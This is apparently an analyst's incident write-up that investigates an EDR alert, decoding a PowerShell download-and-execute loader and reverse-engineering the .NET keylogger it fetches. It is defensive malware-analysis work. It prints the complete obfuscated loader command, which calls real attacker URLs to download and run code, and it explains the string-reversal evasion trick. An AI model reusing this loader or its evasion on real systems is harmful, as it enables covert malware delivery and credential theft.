1/ DETECTION

The detection comes from the EDR FireEye HX, and it alerts us that one system is having some .NET methods that might be used to download resources from a remote location or stored on disk or registry.

The .NET Assembly.Load method provides an interface to access resources within .NET assemblies. PowerShell can utilize this functionality to execute methods within a .NET assembly that is downloaded from a remote location or stored on disk or registry. This is associated with MITRE ATT&CK (r) Tactic(s): Command And Control, Defense Evasion, Execution, Privilege Escalation and Technique(s): T1027, T1055.002, T1059.001, T1132.001.
Source: Mandiant

Alerted 21 minutes ago
processEvent/timestamp 2020-12-01 17:42:05Z
processEvent/startTime 2020-12-01 17:42:05Z
processEvent/eventType start
processEvent/pid 10876
processEvent/processPath C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
processEvent/process powershell.exe
processEvent/parentPid 5084
processEvent/parentProcessPath C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
processEvent/parentProcess powershell.exe
processEvent/username DOMAIN\UserX
processEvent/md5 cda48fc75952ad12d99e526d0b6bf70a
processEvent/processCmdLine "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe"
-windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command "$dll = '0/8JMh1/r/ee.etsap//:sptth';$RumpeD = (New-Object Net.WebClient).DownloadString( $dll[-1..-$dll.Length] -join '' );[Byte[]] $Rumpe = [System.Convert]::FromBase64String( $RumpeD[-1..-$RumpeD.Length] -join '' );[Reflection.Assembly]::Load($Rumpe).GetType('ent.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.33615435222/sbv/erots.sbvle//:ptth'))"

2/ Investigation

The field "processCmdLine" gives a lot of information, but if we're neglecting it, we will probably not understand what the command line does.

First, we have a variable « dll » storing the value '0/8JMh1/r/ee.etsap//:sptth' then another variable « RumpeD » storing the result of the .NetWebClient method « DownloadString ». This method is used to download resources from the argument.

What does $dll[-1..-$dll.Length] -join '' do ?
Good thing that we’re in a Windows system, and have a native IDE for PowerShell, « Powershell ISE ». Putting the part of the code that interest us might give us the information we're looking for. From « powershell ISE », we retrieve an URL and we must check this one, because one system of our network is downloading something from that webpage. Many tools can be used, I will suggest to run the URL in any kind of sandbox such as AnyRun.
If the URL contains private information, do not ever run on a public sandbox. We don’t want to leak data.
Url : https://paste.ee/r/1hMJ8/0 The content of the URL is mostly encrypted data. Looking at the structure of the string, it looks like base64.

How to recognize this is a base64 encoding ?
Base64 will only be composed of characters 'A-Z', 'a-z', '0-9', '+', '/' and it is padded at the end with '=', to make the length a multiple of 4.
Since we see that there are ‘==’ at the beginning of the string we can guess that the encoded data is also inversed. So before decoding it, we probably should reverse it.
Therefore, we understand why the command line has $Rumpe = [System.Convert]::FromBase64String( $RumpeD[-1..-$RumpeD.Length] -join '')
To retrieve all the content of the webpage, we will use the curl command. Accessing to a webpage is the same as making a GET request.

Curl –X GET https://paste.ee/r/1hMJ8/0 -o encodedString.txt

Then on linux, the function rev allows us to reverse any string.

cat encodedString.txt | rev > encodedStringREV.txt

Once we have reversed the content of the file, we can decode any base64 with the command base64 and using the parameter –d.

base64 –d encodedStringREV.txt > String.txt

The decoded file is acutally a binary file. We can use hexdump to see if that is a PE file (Windows executable), the magic byte « 4d 5a » confirm that it is a PE file.

[Byte[]] $Rumpe = [System.Convert]::FromBase64String( $RumpeD[-1..-$RumpeD.Length] -join '' ); [Reflection.Assembly]::Load($Rumpe).GetType('ent.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.33615435222/sbv/erots.sbvle//:ptth'))"


The method « FromBase64String » on the variable RumpeD and store it on a new variable « Rumpe ». According to Microsoft docs, the method [Reflection.Assembly]::Load() is taking a Byte type in argument so that explains why the script cast the variable Rumpe in Byte[]. Then the function "Invoke" is called to remotely run a command. The argument of the function "Invoke" seems to be another reverse URL. It is probably used to bypass URL check.

In powershell like in php « $ » is to indicate a variable.
To reverse the string, use the command rev on linux. So we get the second URL : http://elvbs.store/vbs/22253451633.txt
Always check an URL through a safe environment. The content of the webpage is another base64 Once decode, we found another PE file since we have MZ byte.
Since this URL is the one that is going to run on a system, let's find out what it does. We will continue the investigation with some static analysis, let's analyze the strings of the binary. Radare2 is a powerful tool to do some reverse engineering. Radare2 comes with a tool called rabin2 and it can extract the binary information by using the –I parameter, the string with –z parameter or use –zz if we don’t want to be limited on the string found on the data section.

Rabin2 –zz string2.exe

Looking at the string, we see that this PE file contains an executable file called « dayandi.exe » and below we see the word Keylogger.

rabin2 -I string2.exe

This is a .NET executable, since radare2 is not optimized for .NET file, let's switch to another tool called dnSpy which supports decompilation, simple deobfuscation, modification and debugging of .NET applications. With dnSpy, we managed to retrieve the classes, the functions of the program. There are two classes in the .NET application, Keylogger and Program. Looking at the function Fix, it takes an object of Key as argument. A boolean is present to determine if the user is clicking on the shift key.
bool flag = this.keyboard.ShiftKeyDown;
If the variable flag is set to YES, then the function will return a upperletter of the key pressed by the user.
result = Strings.ChrW((int)k).ToString().ToUpper(); To retrieve the user inputs, it is using the class Keyboard from the library "Microsoft.VisualBasic.Devices", calling a function "SendKeys". DnSpy allows us to see the flow of a part of the program. The function "Fix" was called by the function "WRK" until reaching the starting point (function "Main"). There are also two interesting functions "Send" and "Receive", the function "Send" used tcpsocket, which lead to a TCP connection.
Checking the method Program.tcpSocket.Client.Send(memoryStream.ToArray(), 0, checked((int)memoryStream.Length),SocketFlags.None);, it seems that the function is sending the data inside of the memoryStream.

Let's find out exactly how the program is going to make that connection. There is a function named "Connect", creating MemoryStream, TcpClient object and calling another function with host and port as argument. Clicking on the host, we notice that those variables are the class "Program" attributes and they are set by default. Looking at attributes, we managed to find the domain where the program will connect and send the data. We also retrieve the port, then we have some encrypted data. All those data might be seen as indicator of compromising. Analyzing on the attribute victimName, it is used in the method "Connect" and it uses a function Base64ToString to read the variable. After decoding the base64, we have victimName = NYAN CAT.
That domain has been classified as malicious by 2 antiviruses, Fortinet and Kaspersky.

Registry key can also sound like persistence. The program is calling the method "CreateSubKey" on the HKEY_CURRENT_USER\Software and use the attribute "registryName" as argument, so "registryName" doesn't seem to be encrypted. The registry hive HKCU contains information for Windows and softwares for a specific user. The default path for persistance is "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run". In this case, it creates a subkey of HKCU\Software, this subkey gives the default location of an executable, and is not a sign of persistence.

3/ Conclusion

FireEye has detected a suspicious bahavior, but doesn't really know what was exactly the program installed by the user. After, reversing the program, we've found it will proceed to a connection to a domain on a specific port. It also records all the user's inputs and send it to the domain. Therefore, it is a trojan keylogger which register every keyboard input and send it to the domain. After that analysis, we know the intention of the attacker, retrieving the users' credentials and get an access to the company network.
Blocking the domain name, file hash is a good start for future protection. A rebuild of the system, and expiring the user's password is necessary.